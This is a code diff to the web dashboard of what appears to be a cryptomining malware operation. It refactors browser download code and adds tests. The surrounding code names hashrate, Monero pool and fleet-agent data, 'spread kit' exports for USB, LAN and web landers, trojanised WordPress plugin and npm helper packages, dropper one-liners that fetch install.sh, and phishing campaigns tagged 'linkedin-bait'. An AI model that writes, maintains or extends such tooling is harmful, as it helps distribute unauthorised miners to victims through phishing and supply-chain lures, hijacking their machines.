diff --git a/server/web/src/api/client.test.ts b/server/web/src/api/client.test.ts index 28ecfb0..48bc2e4 100644 --- a/server/web/src/api/client.test.ts +++ b/server/web/src/api/client.test.ts @@ -322,6 +322,32 @@ describe('api client', () => { expect(lastFetch().init.method).toBe('DELETE'); }); + it('exportSpreadKit POSTs and triggers blob download', async () => { + setStoredAuth('user', 'pass'); + fetchMock.mockResolvedValueOnce(new Response(new Blob(['zip']), { status: 200 })); + const appendChildSpy = vi.spyOn(document.body, 'appendChild'); + const clickMock = vi.fn(); + vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock); + + await api.exportSpreadKit({ + build_id: 'build-1', + server_url: 'http://localhost:8989', + campaign: 'linkedin-bait', + }); + + const { url, init } = lastFetch(); + expect(url).toBe('/api/v1/builder/spread-kit-export'); + expect(init.method).toBe('POST'); + expectAuthHeaders(init); + expect(JSON.parse(init.body as string)).toEqual({ + build_id: 'build-1', + server_url: 'http://localhost:8989', + campaign: 'linkedin-bait', + }); + expect(appendChildSpy).toHaveBeenCalled(); + expect(clickMock).toHaveBeenCalled(); + }); + it('getDashboardStats and listBuilds', async () => { fetchMock .mockResolvedValueOnce( diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 53d4312..b7a82fd 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -1,6 +1,6 @@ import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes, SubnetAutopsyPacket } from '../types'; import { authHeaders, clearStoredAuth } from './auth'; -import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download'; +import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout, triggerBlobDownload } from './download'; const API_BASE = '/api/v1'; @@ -275,15 +275,7 @@ export const api = { DOWNLOAD_TIMEOUT_MS, ); if (!res.ok) throw new Error(`Log download failed: ${res.status}`); - const blob = await res.blob(); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `agent-${id.slice(0, 8)}.log`; - document.body.appendChild(a); - a.click(); - document.body.removeChild(a); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `agent-${id.slice(0, 8)}.log`); }, updateAgentMeta: (id: string, notes: string, tags: string[]) => @@ -494,13 +486,10 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip'; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload( + await res.blob(), + req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip', + ); }, exportWordPressPlugin: async (req: { @@ -516,14 +505,8 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site'; - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `${slug}-wordpress-plugin.zip`; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `${slug}-wordpress-plugin.zip`); }, exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => { @@ -534,14 +517,8 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper'; - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `${slug}-npm-helper.zip`; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `${slug}-npm-helper.zip`); }, exportSpreadTemplate: async (req: { @@ -560,13 +537,7 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `aetherforge-${req.template}.zip`; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`); }, // Path Tracer — WireGuard VPN chain sessions @@ -669,13 +640,7 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `aetherforge-${req.template}.zip`; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`); }, testCloudConnection: (body: { kind: string; endpoint: string; bucket?: string }) => @@ -736,15 +701,9 @@ export const api = { const err = await res.text(); throw new Error(`Backup failed ${res.status}: ${err}`); } - const blob = await res.blob(); const disposition = res.headers.get('Content-Disposition') ?? ''; const match = disposition.match(/filename="([^"]+)"/); const filename = match ? match[1] : 'aetherforge-backup.zip'; - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = filename; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), filename); }, }; diff --git a/server/web/src/api/download.test.ts b/server/web/src/api/download.test.ts index 7547195..dc24460 100644 --- a/server/web/src/api/download.test.ts +++ b/server/web/src/api/download.test.ts @@ -2,9 +2,34 @@ * @vitest-environment happy-dom */ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download'; +import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout, triggerBlobDownload } from './download'; import { setStoredAuth } from './auth'; +describe('triggerBlobDownload', () => { + let clickMock: ReturnType; + let appendChildSpy: ReturnType; + + beforeEach(() => { + clickMock = vi.fn(); + vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock); + appendChildSpy = vi.spyOn(document.body, 'appendChild'); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + it('appends anchor to document body before clicking', () => { + triggerBlobDownload(new Blob(['zip']), 'emberwake-test.zip'); + + expect(appendChildSpy).toHaveBeenCalled(); + const anchor = appendChildSpy.mock.calls[0][0] as HTMLAnchorElement; + expect(anchor.download).toBe('emberwake-test.zip'); + expect(clickMock).toHaveBeenCalled(); + expect(anchor.isConnected).toBe(false); + }); +}); + describe('downloadAuthedFile', () => { let fetchMock: ReturnType; let clickMock: ReturnType; diff --git a/server/web/src/api/download.ts b/server/web/src/api/download.ts index af7111b..9376dc4 100644 --- a/server/web/src/api/download.ts +++ b/server/web/src/api/download.ts @@ -37,6 +37,19 @@ export async function fetchAuthedWithTimeout( } } +/** Save a Blob to the browser Downloads folder (append anchor — required in Chrome/Firefox). */ +export function triggerBlobDownload(blob: Blob, filename: string): void { + const objectUrl = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = objectUrl; + a.download = filename; + a.rel = 'noopener'; + document.body.appendChild(a); + a.click(); + a.remove(); + window.setTimeout(() => URL.revokeObjectURL(objectUrl), 0); +} + /** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */ export async function downloadAuthedFile(apiPath: string, filename: string): Promise { const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`; @@ -46,14 +59,7 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro throw new Error(err || `Download failed (${res.status})`); } const blob = await res.blob(); - const objectUrl = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = objectUrl; - a.download = filename; - document.body.appendChild(a); - a.click(); - a.remove(); - URL.revokeObjectURL(objectUrl); + triggerBlobDownload(blob, filename); } /** Alias used by Forge auto-download and DownloadButton. */ diff --git a/server/web/src/components/Spread/CloudSpreadPanel.test.tsx b/server/web/src/components/Spread/CloudSpreadPanel.test.tsx index 09c19da..aa8f54c 100644 --- a/server/web/src/components/Spread/CloudSpreadPanel.test.tsx +++ b/server/web/src/components/Spread/CloudSpreadPanel.test.tsx @@ -1,9 +1,10 @@ /** @vitest-environment happy-dom */ import { afterEach, describe, expect, it, vi } from 'vitest'; -import { cleanup, render, screen } from '@testing-library/react'; +import { cleanup, render, screen, waitFor } from '@testing-library/react'; import userEvent from '@testing-library/user-event'; import { MemoryRouter } from 'react-router-dom'; import CloudSpreadPanel from './CloudSpreadPanel'; +import { api } from '../../api/client'; vi.mock('../../api/client', () => ({ api: { @@ -26,6 +27,28 @@ describe('CloudSpreadPanel', () => { expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument(); }); + it('calls exportCloudTemplate when a method download is clicked', async () => { + const user = userEvent.setup(); + render( + + + , + ); + const panel = screen.getByTestId('cloud-method-s3-cloudfront'); + await user.click(panel.querySelector('summary')!); + await user.click(screen.getByRole('button', { name: /Download aetherforge-s3-cloudfront\.zip/i })); + await waitFor(() => { + expect(api.exportCloudTemplate).toHaveBeenCalledWith( + expect.objectContaining({ + template: 's3-cloudfront', + server_url: 'https://deck.example', + build_id: 'build-1', + campaign: 'wave-a', + }), + ); + }); + }); + it('shows Crucible cross-link when recon host is entered', async () => { const user = userEvent.setup(); render( diff --git a/server/web/src/help/emberwake.test.ts b/server/web/src/help/emberwake.test.ts index 5952d20..8cfec18 100644 --- a/server/web/src/help/emberwake.test.ts +++ b/server/web/src/help/emberwake.test.ts @@ -4,6 +4,7 @@ import { combinedDropperQuery, ps1Oneliner, shOneliner, + publicDownloadPath, publicDownloadUrl, } from './emberwake'; @@ -24,7 +25,11 @@ describe('emberwake URL helpers', () => { expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh'); }); - it('public download URL', () => { + it('public download path for same-origin dashboard links', () => { + expect(publicDownloadPath('build-1', 'c1')).toBe('/api/v1/public/download/build-1?c=c1'); + }); + + it('public download URL for external sharing', () => { expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe( 'http://host/api/v1/public/download/build-1?c=c1', ); diff --git a/server/web/src/help/emberwake.ts b/server/web/src/help/emberwake.ts index 95377f5..e3ddd26 100644 --- a/server/web/src/help/emberwake.ts +++ b/server/web/src/help/emberwake.ts @@ -38,8 +38,14 @@ export function getUrl(baseUrl: string, query = ''): string { return `${baseUrl.replace(/\/$/, '')}/get${query}`; } +/** Same-origin path for in-dashboard download links (always hits the current browser host). */ +export function publicDownloadPath(buildId: string, campaign = ''): string { + const q = campaignQuery(campaign); + return `/api/v1/public/download/${encodeURIComponent(buildId)}${q}`; +} + +/** Full URL for sharing/copy — uses command deck base from campaign setup. */ export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string { const base = origin.replace(/\/$/, ''); - const q = campaignQuery(campaign); - return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`; + return `${base}${publicDownloadPath(buildId, campaign)}`; } diff --git a/server/web/src/pages/EmberwakePage.test.tsx b/server/web/src/pages/EmberwakePage.test.tsx index 1cb0c2f..06e5ffa 100644 --- a/server/web/src/pages/EmberwakePage.test.tsx +++ b/server/web/src/pages/EmberwakePage.test.tsx @@ -115,10 +115,33 @@ describe('EmberwakePage', () => { await screen.findByRole('heading', { level: 1, name: /Emberwake/i }); await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i })); await waitFor(() => { - expect(exportSpy).toHaveBeenCalled(); + expect(exportSpy).toHaveBeenCalledWith({ + build_id: 'build-1', + server_url: 'http://192.168.1.5:8080', + campaign: 'linkedin-bait', + }); }); }); + it('shows export error when spread kit download fails', async () => { + const user = userEvent.setup(); + vi.spyOn(api, 'exportSpreadKit').mockRejectedValueOnce(new Error('no build pinned')); + renderEmberwake(); + await screen.findByRole('heading', { level: 1, name: /Emberwake/i }); + await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i })); + expect(await screen.findByRole('alert')).toHaveTextContent('no build pinned'); + }); + + it('uses same-origin path for public download links', async () => { + const user = userEvent.setup(); + renderEmberwake(); + await screen.findByRole('heading', { level: 1, name: /Emberwake/i }); + await user.click(screen.getByText(/Public download links/i)); + const link = await screen.findByRole('link', { name: /public download/i }); + expect(link).toHaveAttribute('href', '/api/v1/public/download/build-1?c=linkedin-bait'); + expect(link).toHaveAttribute('download'); + }); + it('auto-selects pinned build A without re-fetch loop', async () => { const listSpy = vi.spyOn(api, 'listBuilds'); const warRoomSpy = vi.spyOn(api, 'getWarRoom'); diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx index dec31b6..cd4682b 100644 --- a/server/web/src/pages/EmberwakePage.tsx +++ b/server/web/src/pages/EmberwakePage.tsx @@ -2,7 +2,7 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; import { Link } from 'react-router-dom'; import { api } from '../api/client'; import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types'; -import { publicDownloadUrl } from '../help/emberwake'; +import { publicDownloadPath, publicDownloadUrl } from '../help/emberwake'; import { EMBERWAKE_TECHNIQUE_LINKS, SPREAD_TECHNIQUES_DOC, @@ -64,6 +64,7 @@ export default function EmberwakePage() { const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel'); const [highlightedCampaign, setHighlightedCampaign] = useState(null); const [exportBusy, setExportBusy] = useState(false); + const [exportError, setExportError] = useState(''); const [siteName, setSiteName] = useState('my-blog'); const [notesBusy, setNotesBusy] = useState(false); const [autopsySubnet, setAutopsySubnet] = useState(''); @@ -217,6 +218,7 @@ export default function EmberwakePage() { }; const exportKit = async () => { + setExportError(''); setExportBusy(true); try { await api.exportSpreadKit({ @@ -224,6 +226,8 @@ export default function EmberwakePage() { server_url: serverBase, campaign, }); + } catch (e) { + setExportError(e instanceof Error ? e.message : 'Spread kit export failed'); } finally { setExportBusy(false); } @@ -321,14 +325,17 @@ export default function EmberwakePage() { ZIP templates for USB, LAN, or web landers — includes /spread/ assets.

- +
+ + {exportError ?

{exportError}

: null} +
@@ -557,7 +564,7 @@ export default function EmberwakePage() {
  • {b.worker_name} ({b.platform}) {' — '} - + public download